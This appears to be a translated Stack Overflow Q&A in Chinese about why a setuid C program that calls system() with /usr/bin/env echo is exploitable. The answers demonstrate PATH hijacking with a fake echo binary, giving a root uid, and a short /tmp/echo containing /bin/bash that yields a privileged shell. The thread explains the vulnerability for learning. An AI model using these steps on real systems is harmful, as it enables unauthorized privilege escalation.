33
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <stdio.h>

int main(int argc, char **argv, char **envp)
{
    gid_t gid;
    uid_t uid;
    gid = getegid();
    uid = geteuid();

    setresgid(gid, gid, gid);
    setresuid(uid, uid, uid);

    system("/usr/bin/env echo and now what?");

}

按照我的理解,上面的代码允许执行任意代码(或程序)——是什么让这个漏洞变得脆弱,人们如何利用这一点?

4

2 回答 2

55

您可以覆盖该PATH变量以指向具有自定义版本的目录,echo并且由于echo使用 执行env,因此它不被视为内置。

仅当代码以特权用户身份运行时,这才构成漏洞。

在下面的示例中,文件 vc 包含问题中的代码。

$ cat echo.c
#include <stdio.h>
#include <unistd.h>

int main() {
  printf("Code run as uid=%d\n", getuid());
}
$ cc -o echo echo.c
$ cc -o v v.c
$ sudo chown root v
$ sudo chmod +s v
$ ls -l
total 64
-rwxr-xr-x  1 user     group  8752 Nov 29 01:55 echo
-rw-r--r--  1 user     group    99 Nov 29 01:54 echo.c
-rwsr-sr-x  1 root     group  8896 Nov 29 01:55 v
-rw-r--r--  1 user     group   279 Nov 29 01:55 v.c
$ ./v
and now what?
$ export PATH=.:$PATH
$ ./v
Code run as uid=0
$ 

请注意,在问题中发布的易受攻击的代码中,通过调用setresuid()之前调用来设置真实用户 ID、有效用户 ID 和保存的 set-user-ID,即使仅将有效用户 ID 设置为system()特权用户 ID 和真实用户 ID 仍然是非特权用户(例如,当依赖上述文件上的 set-user-ID 位时就是这种情况)。如果不调用setresuid()运行的 shell,system()会将有效用户 ID 重置为真实用户 ID,从而使漏洞利用无效。然而,当易受攻击的代码使用特权用户的真实用户 ID 运行时,system()单独调用就足够了。引用sh手册页:

如果 shell 以不等于实际用户(组)id 的有效用户(组)id 启动,并且未提供 -p 选项,则不读取启动文件,不从环境继承 shell 函数,SHELLOPTS变量,如果它出现在环境中,则被忽略,并且将有效用户id设置为真实用户id。如果在调用时提供了 -p 选项,则启动行为是相同的,但不会重置有效用户 ID。

另外,请注意它setresuid()不是便携式的,但setuid()setreuid()可以用于相同的效果。

于 2011-11-29T00:52:20.873 回答
1

实际上,在系统函数调用上,您可能会弄乱echo命令。例如,如果您执行以下代码:

echo "/bin/bash" > /tmp/echo
chmod 777 /tmp/echo && export PATH=/tmp:$PATH

您将获得具有文件所有者权限的外壳

于 2019-06-12T18:22:37.053 回答